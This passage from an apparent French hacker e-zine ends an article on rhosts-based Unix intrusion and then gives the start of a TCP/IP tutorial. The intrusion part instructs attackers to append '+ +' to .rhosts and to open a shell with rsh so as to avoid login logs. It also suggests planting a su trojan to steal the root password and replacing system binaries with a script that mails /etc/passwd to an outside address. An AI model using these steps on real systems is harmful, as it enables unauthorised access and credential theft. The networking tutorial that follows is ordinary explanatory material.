utilisateur à se connecter sur ce compte alors ...
Il va donc sur la machine B, et place dans son homedir un .rhosts.
Il veut être le seul à pouvoir se connecter sur son compte B , depuis la machine A.
Donc il configure le .rhosts comme suit :
machine A toto
Seul un utilisateur apellé toto et venant de A poura s'y connecter par rlogin.
Pour que tous les utilisateurs venant de la machine A puissent s'y connecter,
il faudrait configure le .rhosts comme ça :
machine A +
Et enfin si l'on veut que tout le monde ait accès à ce compte, le fichier ressemble a :
+ +
Voila, voila ...
Donc lorsque toto va faire une demande de connection sur la machine B au compte toto,
la machine B ( plus précisément le démon rlogind ) vérifie le contenu du .rhosts
du homedir toto. La machine B va donc lui autoirser l'accès sans mot de passe.
Vous savez quoi mettre dans ce .rhosts maintenant !
Une fois que vous l'avez crée, faites un " echo + + >> .rhosts".
Si le .rhosts existait déja, cela rajoutera une ligne sans effaçer les autres.
Si le .rhosts n'existait pas, ben maintenant il existe !
Vous avez donc possibilité de vous logger sans mot de passe ( ca tombe bien, vous ne
l'aviez pas ;@) ).
Vous allez donc utiliser rlogin ou rsh.
Voici la syntaxe de rlogin :
[root@machine-attaquante]# rlogin -l user machine-cible
Et celle de rsh :
[root@machine-attaquante]# rsh -l user machine-cible commande-à-exécuter
rlogin ouvre une connection directe avec la machine cible, tandisque rsh se contente
d'exécuter une commande.
L'avantage de rsh est qu'il n'entame pas de connection, donc ne laisse pas de trace
dans le utmp/wtmp/lastlog, c'est pourquoi je vous le conseille.
Vous vous demandez quelle commande vous allez bien pouvoir faire exécuter à rsh.
Le mieux est de demander l'exécution d'un shell par la commande " sh ", " csh " ...
On ajoute l'option "-i" pour demander un shell "interactif" .
Pour plus de détails consultez les pages de "man" .
La commande rsh compléte est donc :
[root@machine-attaquante]# rsh -l toto machine-cible csh -i
La machine cible va regader dans le homedir de toto, voir que tout le monde a le
droit de s'y connecter ( .rhosts avec + + ) et donc exécuter votre commande, en
l'occurence un shell.
Vous avez à présent un shell d'ouvert sur la machine cible !
Faites un " w " pour savoir qui est connecté.
Regardez l'historique de ce compte pour voir si l'utilisateur toto a déja fait
un su, ce qui voudrait dire qu'il est autorisé à avoir les droits du root et qu'il
en à le mot de passe ...
Il ne vous resterait plus alors qu'a installer un sutrojan pour récupérer
le pass root la prochaine fois que toto fera un su.
Si vous constatez que l'utilisateur dont vous avez usurpé l'identité n'a jamais fait
de su, vous pouvez toujours consulter les historiques des autres comptes et y placer,
s'il y a lieu, un su trojan.
Un conseil qui vous sera peut-être utile : si vous vous dites que de toute
façon le /etc/passwd sera shadow, ben faites quand même un " cat /etc/passwd " ,
juste comme ça, à tout hasard ...
Note :
______
Si aucun homedir n'est exportable mais que par exemple un répertoire comme /bin
ou /usr/bin l'est, vous pouvez remplaçer certaines commandes fréquemment utilisées
par script du même nom mais de votre composition.
Par exemple, vous pouvez remplaçer une commande par un script comme :
" /bin/mail vous@votrecompte.com < /etc/passwd ".
Ca y est, nous avons vu en détail le schéma de l'attaque.
Je vais laisser place à une capture d'écran qui illustrera et résumera tout ça.
2.3 Intrusion en image :
________________________
Affichez l'image 8 svp. !
- Ben quoi ? vous avez déja vu des captures
d'écran en ASCII vous ?! -
Conclusion :
____________
Voila, j'espère que ce petit article vous aura appris quelque chose.
Si vous avez des remarques, conseils, écirvez moi à neo_fox_2001@hotmail.com.
Il existe pas mal d'articles qui expliquent cette méthode, mais comme je l'ai
surement déja dit, ils expliquent tous le fonctionnement de l'attaque sans se
soucier réellement du fonctionnement normal. J'ai voulu que cet article soit
le plus complet possible.
Sources :
_________
" UNIX, Installation, Configuration, Administration" Ed. Osman Eyrolles Multimedia
" Linux, Solutions Réseau " Viktor T. Toth Ed. Campuspress
----------------------------------------------------------------------------------------------
Introduction à TCP/IP (1/2) par NeoFox
----------------------------------------------------------------------------------------------
[ Avertissement : 90Ko ! ]
++++ Partie I : Les Bases de TCP/IP ++++
-> Qu'est-ce que TCP/IP ?
-> Le Fonctionnement de TCP/IP
| I. Qu'est-ce que TCP/IP |
_________________________
A) Définitions :
________________
TCP/IP signifie " Transfert Contrôle Protocol / Internet Protocol " .
C'est une suite de protocoles qui définissent comment doit être envoyée une information sur
un réseau. D'où deux questions auquelles nous allons répondre : qu'est-ce qu'un protocole
et qu'est-ce qu'un réseau ?
Un réseau est un ensemble de machines interconnectées qui communiquent entre elles grâce
à une technique commune de transmission. Ces machines sont donc connectées soit par câble,
par ligne téléphonique etc ...
Les applications de chaque machine doivent donc dialoguer avec les applications des
machines voisines en respectant pour cela une séries de règles apellées protocoles.
Un protocole est donc une suite de règles reconnues par toutes les machines du réseau et
utilisées sur celui-ci pour communiquer.
Ce qu'il faut bien comprendre, c'est que TCP/IP est un schéma, une représentation des
diverses transformations qu'une machine doit appliquer aux informations pour les placer
sur le réseau. Les logiciels fournissant les services de mise en réseau sont conçus de
manière à respecter les règles définies par les protocoles de TCP/IP.
On dit de ces logiciels qu'ils sont l'implémentation de TCP/IP.
La tâche de ces logiciels consiste à formater les données au format TCP/IP.
Dans la pratique, des données complexes quittant les applications de la machine locale
seront simplifiées à l'extrême par les logiciels TCP/IP et transformées en un train
de bits puis plaçées sur le réseau. Enfin, lorsqu'elles parviennent à la machine distante,
TCP/IP effectue l'opération inverse, c'est à dire reconstitue la totalité de ces données de
manière à ce qu'elles puissent être à nouveau être traitées par les applications de la
machine distante.
Le model TCP/IP représente un ensemble de normes établies par un organisme apellé
l'IETF (Internet Engineering Tasking Force).
Cet organisme publie des documents contenant les spécifications techniques
de TCP/IP. Ces documents sont apellés RFC (Request For Comments), Voir patie annexe.
En résumé, TCP/IP est une suite de protocoles. Un protocole est une ensemble de règeles qui
definissent comment doivent être transformées puis envoyées les données. Les logiciels
fournissant ces services appliquent ces règles et sont l'implémentation des protocoles.
B) Caractèristiques TCP/IP :
____________________________
Voici les certaines carctéristiques de TCP/IP qui vont vous permettre de vous faire une
idée de son fonctionnement : l'Adressage Logique et le routage.
1) L'adressage logique :
________________________
Voyons tout dabord comment est envoyée une information sur un réseau de type LAN
( Local Area Network = réseau d'entreprise ).
Les données utlisisées par une application de la machine emettrice (A) doivent être expédiées
vers une seconde machine (B) du réseau pour y être utilisées par une autre application.
Bon, alors les données sont converties au format TCP/IP par les logiciels locaux puis
traversent la carte réseau de la machine A, circulent en suite sur le câble dédié, arrivent
sur la carte réseau de la machine B, sont prises en charges par le logiciel de la carte réseau
puis sont à nouveau transformées par TCP/IP pour être livrées aux applications.
Comment font les machines pour savoir à qui envoyer les infos ?
Une Carte Rréseau comporte une adresse dite " adresse physique " ou " adresse MAC "
qui est codée sur 48 bits. Cette adresse est un nombre unique et permanant qui lui a été
attribué en usine, lors de sa fabrication. On apelle " Protocoles de bas niveau ", les
protocoles liés au matériel et qui acheminent les données en fonction de cette adresse
physique. Les données à destination d'une machine A transitent sur le support du réseau,
et sont examinées par les cartes réseaux de toutes les machines, chaque machine compare
l'adresse du destinataire à celle de sa carte réseau et si les adresses ne coïncident
pas, la machine "libère" le paquet de données et ainsi de suite. Seul le destinataire
capturera le paquet pour en extraire les données. On voit donc la carte réseau d'une
machine "ecoute" l'ensemble du trafic de son réseau pour n'en capturer que les données
qui lui son destinées.
Mais sur des réseaux de grande taille, il serait impossible qu'une carte réseau puisse
examiner la totalité du trafic. Les Administateurs réseau segmentent donc leur réseau
global en plusieurs sous-réseaux.
Cette subdivision est possible grâce à l'adressage logique (enfin, on y vient ... ),
assuré par le protocole Internet. Il s'agit là de la fameuse adresse IP.
Je disais que ce système d'adressage permettait la subdivision d'un réseau.
En effet, une IP est un nombre codé sur 32 bits ( 4 octets )
qui ressemble comme vous le savez à :
193.248.25.30
Une adresse IP contient :
-> une partie désignant le réseau et le sous réseau : on parle d'ID réseau.
-> une partie désignant vôtre machine sur ce réseau : on parle d'ID hôte.
En fonction du nombre d'octets de l'ID hôte, on peut grouper les adresses IP en
différentes classes :
A,B,C,D et E dont nous parleront plus en détail dans le chapître 4 ( Partie II )
" Le Protocole Internet ".
Lors de vôtre connection par modem, une adresse IP aléatoire et temporaire ( dynamique )
est allouée à la carte réseau de vôtre PC par vôtre ISP, vôtre fournisseur d'accès.
Si vous êtes votre propre provider, un organisme apellé l'IANA attribuera une rangée d'IP à vôtre
réseau, et l'admin configuera un IP (fixe) par machine.
Nous avons vu, plus haut qu'un grand réseau pouvait être divisé en sous-réseaux grâce à cet
adressage et à l'utilisation de routeurs.
2) Le Routage :
_______________
Un routeur est un machine qui est chargée d'orienter les données entre plusieurs sous-réseaux
et pour ce faire, "lit" les adresses logiques contenues dans les en-têtes des données
envoyées. Si les données sont à destination d'une machine du réseau local, elles ne
franchissent pas le routeur.
Si, dans le cas contraire, elles sont destinées à une machine externe, le routeur les prends
en charge, puis les dirige vers le réseau conçerné.
Le concept sera approfondi dans un prochain chapître.
Vous avez maintenant une idée de ce qu'est TCP/IP ... non ? eh bien reprennez depuis le
début avant de passer à la suite !
La suite justement ...
| II. Le Fonctionnement de TCP/IP |
________________________________
-> Survol des couches
-> TCP/IP et OSI
-> Encapsulation des données
A) Survol des Couches :
_______________________
Les différents services de mise en réseau de offerts par TCP/IP sont définis par des procoles.
Ces procoles sont schématisés et groupés en "Couches" dans l'ordre dans lequel ils
interviennent dans le traîtement de l'informaiton. On dennombre ainsi 4 couches :
La couche Accès Réseau, Internet, Transport et Application.
Les informations sont traitées par chaque couche puis descendent sur le support pour
" remonter " les couches sur la machine réceptrice, c'est à dire être traitées de manière
inverse par ces couches.
Nous allons voir globalemnet le rôle de chaque couche :
-> La Couche Accès Réseau :
___________________________
La Couche Accès Réseau ou AR assure l'interface physique avec le réseau.
C'est elle qui va formatter les données en partance aux normes du réseau pour les plaçer par
la suite sur le support. Cette tâche incombe dans la pratique au logiciel de la carte réseau.
C'est une couche de bas niveau, c'est à dire qu'elle intervient en dernier dans le traitement
des données expédiées. C'est aussi elle qui est chargée de la réception des informations.
C'est une couche qui peut être apellé "matérielle" puisque les services qu'elle décrit sont
assurés par des composants physique du câblage à la Carte Réseau en passant par le modem.
Choisir une architecture réseau ( Ethernet, Token ring, FDDI ... ) revient à choisir un type
de carte réseau. Enfin, c'est cette couche qui est responsable de l'adressage physique.
-> La Couche Internet :
_______________________
De loin la plus intéressante ( à mon avis ) puisqu'elle contient bon nombre de procoles dont
vous entenderez souvent parler par la suite.
Comme nous l'avons vu plus haut, la couche Internet est responsable de l'adressage logique,
organise le routage et permet ainsi de relier plusieurs réseaux distants même si leur
architecture s'avère différente.
Cette couche contient également des protocoles chargés d'établir la correspondance entre
adresses physiques générées par la couche AR, et adresses logiques.
-> La Couche Transport :
________________________
C'est la couche qui est responsable du contrôle des erreurs et de la gestion du flux.
Lorsque un information est envoyée à une machine distante, elle s'assure qu'elle lui soit
bien parvenue et lors de la réception d'un message, se charge de signaler à la machine
émettrice que les données attendues lui sont bien parvenues en envoyant des
accusés de récetpion. Elle contient deux protocoles fondamentaux : TCP et UDP,
respectivement << Transfert Contrôl Protocol >> et << User Datagram Protocol >>.
Nous étudierons ces protocoles un peu plus bas.
-> La Couche Application :
__________________________
C'est la couche qui assure l'interface utilisateur.
Pour vous donner une idée, pensez au Procole NetBIOS qui sous Windows assure le partage
de fichiers. C'est une API ( Application Program Interface ). En fait, NetBIOS vous permet
de travailler sur un fichier d'une machine distante en donnant l'illusion qu'il est sur
votre disque. Eh bien, dans ce cas de figure, la couche Application interprète les données
que lui transmettent les autres couches afin de générer une environnement de type bureau.
En bref, elle est composée de divers logiciels sensibles au réseau (FTP / Telnet ... ).
B) TCP/IP et OSI :
__________________
Le model OSI est, comme TCP/IP, un standard de protocoles qui définit la façon dont seront
envoyées les informations sur un réseau. Son rôle est fondamentalement le même que celui de
TCP/IP, ses protocoles sont identiques mais sont organisés en 7 couches au lieu de 4.
On trouve donc : la Couche Physique, la Couche Liaison aux Données, Réseau, Transport,
Session, Présentation et Application.
Voici à quoi ressemble la pile de protocoles OSI comparativement à TCP/IP :
OSI TCP/IP
___________________ __________________
| | | |
| Application | | |
___________________ | |
| | | |
| Présentation | | Application |
___________________ | |
| | | |
| Session | | |
___________________ __________________
| | | |
| Transport | | Transport |
___________________ __________________
| | | |
| Réseau | | Internet |
___________________ __________________
| | | |
| Liaison-Données | | |
___________________ | Accès Réseau |
| | | |
| Physique | | |
___________________ __________________
Dans un souci de simplicité nous allons numéroter les couches en partant du bas :
Pour TCP/IP la couche Accès Réseau est la n°1 et la couche Application la n°4.
Pour OSI la couche Physique est la n°1 et la n°7 est la couche Application.
On voit donc que la couche Accès Réseau de TCP/IP équivaut aux couches Physiques
et Liaisons-Données OSI.
La couche Internet TCP/IP vaut la couche 3 ( Réseau ) OSI.
De même, la couche Transport de TCP/IP vaut la couche 4 ( Transport ) OSI.
Enfin, la couche Application de TCP/IP regroupe sous OSI les couches Session,
Présentation et Application.
L'article étant consacré à TCP/IP, nous n'allons pas entrer dans les détails de la structure
de couches OSI. Mais le model OSI est souvent cité comme référence et il est donc important
de connaître sa composition.
Nous allons voir à présent un concept clé du fonctionnement de TCP/IP :
Il s'agit de l'encapsulation des données.
C) L'encapsulation des données :
________________________________
Nous avons vu que les information destinées à être envoyées sur le réseau, sont successivement
traitées par chaque couche qui la passe à la suivante et ainsi de suite jusqu'à ce que les données
soient placées sur le câble. A l'arrivée, l'information est, rapellons le, traitée à nouveau par
mais subit les informations inverses. Chaque couche prends donc en charge les données, les
traite, et les passe à la couche suivante.
Ceci est rendu possible par un système " d'encaputlation" .
Lorsque des données passent par une couche, celle-ci leur ajoute un ensemble d'informations
à destination de la couche correspondante de la machine à laquelle est destinée le message.
Les informations ajoutées ainsi sont apellées "en-têtes" . On dit que les couches encapsulent
les informations. A la réception, chaque couche prélève l'en-tête qui lui destinée, l'exploite
puis l'élimine, livrant le reste à la couche suivante. Comme chaque couche ajoute sa propre
en-tête, nous verrons la composition des en-têtes en voyant le détail des couches.
Un petit schéma pour résumer tout ça ? :
Au départ :
___________
______________
| donnée brute |
|
|
V
__________________
| | ______________
| Application | | donnée brute |
__________________
| | ______________ ___
| Transport | | || 1 | En-tête générée par la couche Transport.
__________________
| | ______________ ___ ___
| Internet | | || || 2 | En-tête générée par la couche Internet.
__________________
| | ______________ ___ ___ ___
| Accès Réseau | | || || || 3 | En-tête générée par la couche AR.
__________________
|
|
V
câble
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
______________ ___ ___ ___
| donnée brute || 1 || 2 || 3 |
Les données ainsi enpaquetées sont plaçées sur le support.
A l'arrivée : ( lire en partant du bas ! )
_____________
_______________
______________ La couche Application récupère les données telles qu'elles | |
| donnée brute | ont été envoyées par l'expéditeur puis les traite | Application |
_______________
______________ ___ | |
| || 1 | L'en-tête Transport est récupéré par la couche | Transport |
_______________
______________ ___ ___ | |
| || || 2 | L'en-tête Internet est récupéré par la couche | Internet |
_______________
______________ ___ ___ ___ | |
| || || || 3 | L'en-tête AR est récupéré par la couche | Accès réseau |
_______________
^
|
|
______________ ___ ___ ___
| donnée brute || 1 || 2 || 3 | Les données encapsulées arrivent sur la machine réceptrice.
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
câble
On voit donc le fonctionnement des en-têtes lors de la traversée de la pile de protocoles.
Au passage de chaque couche est ajoutée aux données un en-tête. La paquet changeant
de forme, il change aussi de nom. Les paquets dont donc désignés par des nom différents selon
les couches qu'ils traversent.
Au niveau de la couche Application, on parle de message.
Au niveau de la couche Transport, on parle de segments ( ou de datagrames - on y reviendra - ).
Au niveau de la couche Internet, on parle de datagrames.
Au niveau de la couche Accès Réseau, on parle de trames.
La couche Réseau, pour les mettre sur le support, fractionne les trames.
Sur le câble, ce ne sont plus que des trains de bits.
Le concept d'emballage ou d'encapsulation est essentiel dans la compréhension de TCP/IP et vous
avez à présent une idée de la façon dont votre machine s'y prends pour fournir les services
de mise en réseau.
Dans la seconde partie, nous allons voir en détail le rôle et la composition de chaque couche,
et décrire le fonctionnement de chaque protocole.
Rendez vous Partie II pour la suite ...
++++ Partie II : Le Système de protocoles TCP/IP ++++
-> La couche Accès Réseau
-> La couche Internet
-> La couche Transport
-> La couche Application
| III. La Couche Accès Réseau |
_____________________________
-> Description
-> Architecture réseau
-> Exemple de Trame
La couche Accès Réseau est la base de la pile de protocoles TCP/IP.
Elle correspond aux couches Physique et Liaison-Données d'OSI.
A) Description :
________________
La couche Accès Réseau a pour rôle de plaçer les données sur le réseau physique.
Elle doit assurer l'interface avec la Carte Réseau, gérer le formatage des datagrames
qu'elle reçoit de la couche Internet, ajouter des en-têtes aux trames ainsi crées et
convertir le tout numériques en signaux analogiques pour permettre leur envoi sur
le réseau.
C'est le logiciel de la Carte Réseau qui va créer les trames, et le modem
qui va s'occuper de la conviesion numérique / analogique.
On dit de la couche AR qu'elle est composée de protocoles de bas niveau, au sens où ces
derniers sont dépendants du matériel. Modem et Carte Réseau sont donc des matériels qui
opèrent au niveau de la couche AR.
Elle est aussi responsable de l'adressage physique.
Une adresse physique est comme nous l'avons dit, un nombre codé sur 48 bits et attribué
en usine à la carte réseau. C'est ce type d'adressage qui est utilisé sur un LAN pour
situer expéditeur et destinataire. Le logiciel de la carte réseau va donc formatter
les datagrames sous forme de trames en incluant dans les en-têtes les adresses physiques
de l'expéditeur de du destinataire.
La Couche AR est liée au matériel à tel point que choisir une topologie de réseau revient
à choisir un type de Carte Réseau.
B) Architecture Réseau :
________________________
Nous allons nous intéresser à la topologie de réseaux d'entreprise ou LAN :
Comme on l'a dit plus haut, choisir une architecture réseau c'est choisir un type de
carte réseau ...
Bon, d'accord, mais choisir entre quoi et quoi ?
Les différents types de réseau dont nous allons parler sont Ethernet et Token Ring.
Si l'on a choisi de monter un réseau Ethernet, on a enfait choisi d'équiper l'ensemble
de ses machines de cartes réseau Ehternet. Ces cartes réseaux ne vont pas traiter les
données comme celles des Token Ring. La composition des trames ne sera pas la même.
Comme la diffusison des données ne répondra pas aux mêmes critères, l'architecture,
càd le positionnement des machines sera différent selon le type de réseau.
1) Ehternet :
_____________
Les machines d'un réseau Ethernet sont réliées par une seule ligne de communication.
Les dimentions de ce câble peuvent varier et leur noms aussi. On trouve :
- le 10Base-2 : câble léger de petit diamètre qui achemine les données
à 10 Mbps ( Méga Bits par secondes ).
- le 10Base-5 : toujours à 10 Mbps mais une plus longue portée.
- le 10Base-T : Câble torsadé, utilisé pour les réseaux en étoile.
....
- le 100Base-TX : Comme 10Base-T mais 10 fois plus rapide.
- le 100Base-FX : 100 Mbps, en fibre optique, 2000 m de portée.
La topologie d'un Ethernet peut donc varier en fonction du cablage utilisé.
Il existe donc différentes architectures Ethernet. Entre autres :
Le réseau en Bus :
__________________
_______ _______ _______ _______ _______ _______
| | | | | | | | | | | |
|machine| |machine| |machine| |machine| |machine| |machine|
| 1 | | 2 | | 3 | | 4 | | 5 | | 6 |
_______ _______ _______ _______ _______ _______
| | | | | |
| | | | | |
_________________________________________________________________________________________
Le réseau en étoile ( Star LAN ) :
__________________________________
_______
| |
|machine|
| 1 |
_______
|
_______ | _______
| | | | |
|machine| | |machine|
| 2 | | | 3 |
_______ | _______
| _____________ |
|_____________ |concentrateur| _____________|
_____________
|
|
|
|
|
_______
| |
|machine|
| 4 |
_______
Les machines de ces réseaux Ethernet ont une carte réseau de type Ethernet. Les trames
qu'elles vont produire auront une certaine composition différente de celles d'un Token
Ring par exemple. C'est le type de votre carte réseau qui définit le type de réseau auquel
vous appartenez.
Sous Ethernet, l'accès au réseau se fait grace à un protocole apellé CSMA/CD pour
" Carrier Sense Multiple Acces / with Collision Detection " ce qui signifie en bon
franglais " Protocole d'Accès Multiple avec detection de collision ".
Dans la pratique, cela signifie que chaque machine attend le silence réseau pour commencer
à emettre. Si deux machines commencent en même temps, les deux s'arretent (" Collision
Detection") pour reprendre l'une apres l'autre.
2) Token Ring :
_______________
Token Ring siginfie " Anneau à jeton ". Ce nom s'explique par le fait
que sur un LAN de ce type, l'accès réseau se fait suivant le principe du
relais. Le "jeton" qui fait office de relais est en fait constitué d'un
petit paquet de quelques octets qui circule de machine à machine.
Seule peut emettre la machine qui a le relais en sa possession.
Lorsque le relais lui parvient, elle le capture le temps de placer ses
données sur le réseau, aprés quoi elle le libère.
Les machines sont donc connectées en anneau et raccordées à un répartiteur
central qui génère le "jeton" et le transmet tour à tour à chaque machine.
Comme le trafic est ordonné, ce type de réseau est peu sensible à l'intensité
de celui-ci.
Cette technologie est cependant plus onéreuse que celle d'un Ethernet.
Quoi qu'il en soit, sur les deux types de réseau que nous avons cité circulent des
trames générés par les logiciels d'accès réseau. La nature de trames diffèrent
cependant selon le type de réseau.
C) Exemple de Trame :
_____________________
Lorsqu'un datagrame en provenance de la couche Internet arrive à la couche
Accès Réseau, cette dernière se charge de le convertir conformement aux
besoins du réseau destiné à la reçevoir.
Rapellez vous que les cartes réseau des machies d'un Ethernet et de celles d'un
Token Ring ne sont pas identiques. De ce fait, les transformations effecutées
sur les trames au niveau de la couche AR par les logiciels de la carte réseau,
varieront selon qu'il s'agisse d'un type de réseau ou d'un autre.
Il y a donc autant de format de trames que de type de réseaux différents.
Je ne pense pas qu'il soit vital de connaître par coeur le contenu exact
de ces trames vu leur diversité, mais avoir une idée de leur composition
peut aider à la compréhension du role de la couche AR.
Prenons en exemple la compostion d'une trame Ethernet :
_______________________________________________________
Sur un machine d'un réseau de type Ethernet une machine, lorsque la couche IP
transmet ses datagrames à la couche AR, le logiciel Ethernet de la couche AR
se charge dans un premier temps de fragmenter les données pour permettre la
mise en trame.
Dans un second temps, il procède justement à la mise en trame.
Il emballe pour cela les données ( qu'il vient de fragmenter ) en leur ajoutant
un en-tête et une somme de contrôle. Le tout comporte plusieurs champs.
Format de la trame Ethernet :
+-----------+--------------+----------+----------+-----------+----------+
| Préambule | Adresse | Adresse | Type | Données | Somme de |
| | destinataire | source | | 46 à 1500 | contrôle |
| 8 octets | 6 octets | 6 octets | 2 octets | octets | 4 octets |
+-----------+--------------+----------+----------+-----------+----------+
- Préambule : pour indiquer le commençement du message.
- Adresse du destinataire : c'est l'adresse MAC du destinataire.
- Adresse de l'expéditeur : adresse MAC de l'expéditeur ( logique ! ).
- Longeur du message : exprimée en quelques octets.
- Données* : le coprs même du message.
- Somme de contrôle : valeur qui va permettre à la
machine réceptrice
de savoir si la trame
a été ou non altérée
lors du transport.
*: Le champ "données" du paquet contient dans l'ordre : l'en-tête IP,
l'en-tête TCP ou UDP et enfin les données à destination des applications.
Les adresses destinataire et source sont bien sur les adresse "Physiques" sur 48 bits.
Le logiciel Ethernet finit par traduire chaque trame en un train de bits qu'il
place sur le réseau physique.
On voit que dans la trame figure l'adresse physique du destinataire.
Rapellons que sur un réseau local, chaque machine peut "voir" les informations
en transit puisqu'elles comparent l'adresse MAC contenue dans les trames avec
la leur pour savoir si elles leur sont destinées ( seule la machine dont l'adresse MAC
coïncide peut capturer la trame ).
Donc sur un réseau de type Ethernet, le logiciel place l'adresse MAC du
destinataire dans les trames avant de les faire passer sur le réseau.
Mais comment sait-il qu'une machine voisine a telle ou telle adresse ?
Plus fort, comment peut-il connaître l'adresse MAC d'une machine située
sur un réseau distant ?
Tout cela est permis par les divers services offerts par la couche Internet.
| IV. La Couche Internet |
_______________________
-> Les 5 protocoles
-> Exemple de datagrame
-> Adressage IP
A) Les 5 protocoles :
_____________________
Dans la couche Internet se trouvent 5 protocoles à connaître :
3 protocoles important, IP, ARP et ICMP et 2 portocoles secondaires : RARP et IGMP.
1) Le protocole IP :
____________________
Le protocole IP ( Internet Protocol ) est responsable de l'élaboration des datagrames,
de leur acheminement et de leur traitement à la réception.
IP permet d'acheminer les informations d'un bout à l'autre du monde, en les faisant
transiter sur de nombreux réseaux hétérogènes jusqu'aux applications de la
machine cliente.
Nous avons vu que sur un réseau, chaque machine captait les trames en transit pour
comparer l'adresse MAC y figurant à la leur.
Ceci est rendu possible car ( dans le cas d'un ethernet par exemple), les
trames produites au niveau de la couche AR ont un format compatible avec
les logiciels Ethernet des cartes réseaux.
Que se passe t'il si une machine d'un Ethernet veut communiquer avec une autre
d'un réseau Token Ring distant de 5000 Kms ?!
Les machines ne sont pas du même réseau donc leurs cartes réseau ne peuvent pas
capter directement les trames. De toute façon les trames produites par les deux
machines ne seraient pas du même format.
Souvenez vous que la couche AR et les protocoles qui lui sont associés
sont intimement liés au matériel. De ce fait, si le matériel n'est pas homogène,
( carte réseau Ethernet et une Token Ring ) la transmission ne peut se faire.
Seulement voila, dans la pratique, un Ethernet doit pouvoir communiquer avec
un Appel Talk et un Token Ring même leur principes d'accès Réseau diffèrent.
Le Protocole Internet dépasse le problème matériel et peut ainsi mettre en
relation deux machines apartenant a deux réseaux distants de topologie différente.
Cela tient au fait que IP met en oeuvre un adressage logique et n'est donc
pas lié au matériel comme l'est l'adressage physique mis en place par la couche AR.
Cela tient également au rôle d'ARP qui établit la correspondance entre adresses logiques
et adresses MAC come nous le verons plus loin.
Comment IP s'y prend t'il ?
IP compare l'adresse logique de la machine émettrice à celle de la machine réceptrice.
Si la comparaison des adresses IP indique que les machines sont sur le même réseau local,
IP forge un datagrame qui sera envoyé directement à la machine du destinataire.
Dans le cas contraire, IP comprend que le destinataire est situé sur un réseau distant.
Le datagrame sera alors expédié en direction d'un routeur.
Le routeur invoqué est souvent la machine apellée " Passerelle par défaut " dont
l'adresse est contenue dans l'en-tête des datagrames.
Ce principe sera détaillé dans le chapître VII.
IP est décrit par la RFC 791, voir annexe.
2) ARP :
________
Le protocole ARP siginfie " Adress Resolution Protocol ", protocole de résolution
d'adresses. Son rôle est de trouver l'adresse physique d'une machine dont l'adresse
logique est connue. ARP interroge les machines connectées au réseau pour connaître
leur adresses physiques. Il mémorise ensuite la correspondance entre adresse IP
et adresses MAC.
Le protocle IP doit connaître l'adresse logique de son correspondant afin d'élaborer
ses datagrames. La couche AR aura quant à elle besoin d'en connaître l'adresse physique
pour élaborer ses trames.
Comment la résolution d'adresses se fait elle ?
Une machine d'un LAN doit communiquer avec une autre machine dont elle ne connait pas
l'adresse MAC. Le protocole Internet interroge en premier lieu la mémoire d'ARP.
Si l'adresse physique désirée s'y trouve, un datagrame sera envoyé directement
au destinataire.
Si elle ne s'y trouve pas, ARP emmet un appel sur le LAN demandant l'adresse MAC
de la machine qui possède telle adresse IP. La machine concernée répond en indiquant
son adresse MAC.
Si la machine du destinataire n'est pas située sur le réseau local, un message est
envoyé à destination d'un routeur par défaut qui l'acheminera jusqu'au réseau de la
machine distante. L'information circulera sur ce réseau, et la machine conçernée
répondra en envoyant son adresse MAC.
Dans tous les cas, la correspondance adresse IP / adresse MAC est effectuée par ARP,
et le dialogue peut être entamé.
ARP est décrit par la RFC 826.
3) ICMP :
_________
ICMP est le 3 eme protocole important de la couche Internet. Ce sont pricipalement les
routeurs qui l'utilisent. C'est un protocole qui siginfie " Information Contrôl Protocol ".
Il permet d'avertir une machine d'une erreur survenue durant l'acheminement des données.
Les trames empruntent plusieurs routeurs pour arriver au destinataire. Au cours de ce
trajet, les trames peuvent se perdre, ou un routeur peut être défaillant. Les routeurs
conçernés devront donc en cas de perte des paquets informer expéditeur et destinateur
du problème rencontré. Pour ce faire ils font faire appel au protocole ICMP.
Dans le cas d'un paquet perdu ou altéré, ICMP servira à demander la réexpéditon du paquet.
Un autre cas de figure est qu'un routeur reçoive un tros gros volume de trames à relayer
et demande à l'expéditeur, via une requête ICMP, de réduire son volume de transmission.
En résumé, ICMP informe les machines conçernées des éventuels problèmes rencontés.
ICMP est décrit par la RFC 792, voir annexe.
4) RARP :
_________
Si vous avez compris le principe d'ARP, vous avez également compris celui d'RARP.
RARP signifie " Reverse Adress Resolution Protocol ", protocole de résolution d'adresses
inversé. Comme son nom l'indique, RARP s'occupe de trouver l'adresse IP correspondant
à une Adresse MAC. Comme le principe des indtique à celui d'ARP on va passer directement
à la suite !
5) IGMP :
_________
IGMP qui signifie " Information Group Management Protocol" permet la diffusion d'un
même message à toute les machines d'un réseau sans que la machine émettrice ait besoin
de renouveller son message. On dit que c'est un protocole responsable de la multidiffusion.
B) Exemple de datagrame :
_________________________
Pour mener à bien l'ensemble de ces taches, IP génère des en-têtes lors de l'émission,
et les exploite à la réception. Ces en-têtes comme celles fabriquées par les autres
protocoles sont composées de diffèrents champs.
Voici le schéma d'un datagrame :
_______________________________
_________ ___________________ _________________ ___________________
| | | | |
| Version | Longueur en-tête | Type de service | Longueur totale |
| | | | |
_________ ___________________ _________________ ___________________
| | | |
| Identification | Flag | Décalage Fragment |
| | | |
_____________________________ ___________ _________________________
| | | |
| TTL | Protocole | Somme de contrôle en-tête |
| | | |
_____________ _______________ _____________________________________
| |
| Adresse IP Source |
___________________________________________________________________
| |
| Adresse IP destination |
___________________________________________________________________
| |
| |
| Données |
| |
< --- Ici commençera l'en-tete TCP --->
On voit de nombreux champs destinés à renseigner le destinataire et les routeurs.
Version : indique la version du protocole IP utilisée ( actuellemnet IP v.4 ).
Longueur en-tête : comme son nom l'indique, somme exprimant la longueur de l'en-tête.
Type de service : infos destinées aux routeurs ( expédition urgente ou normale etc ... ).
Longueur totale : longeur de tout le datagrame.
Identification : " n° de série " du datagrame.
Flag : indicateur destinés à gérer la fragmentation*.
Décalage : valeur permettant de replacer les trames dans le bon ordre
à la réception.
TTL : " Time to Live " ou durée de vie**.
Protocole : contient le nom du protocole de la couche Transport le datagrame
devra être livré.
Somme de contrôle : valeur permettant de vérifier l'intégrité de l'en-tête à la
réception.
IP source : champ qui sera exploité par le destinataire pour répondre.
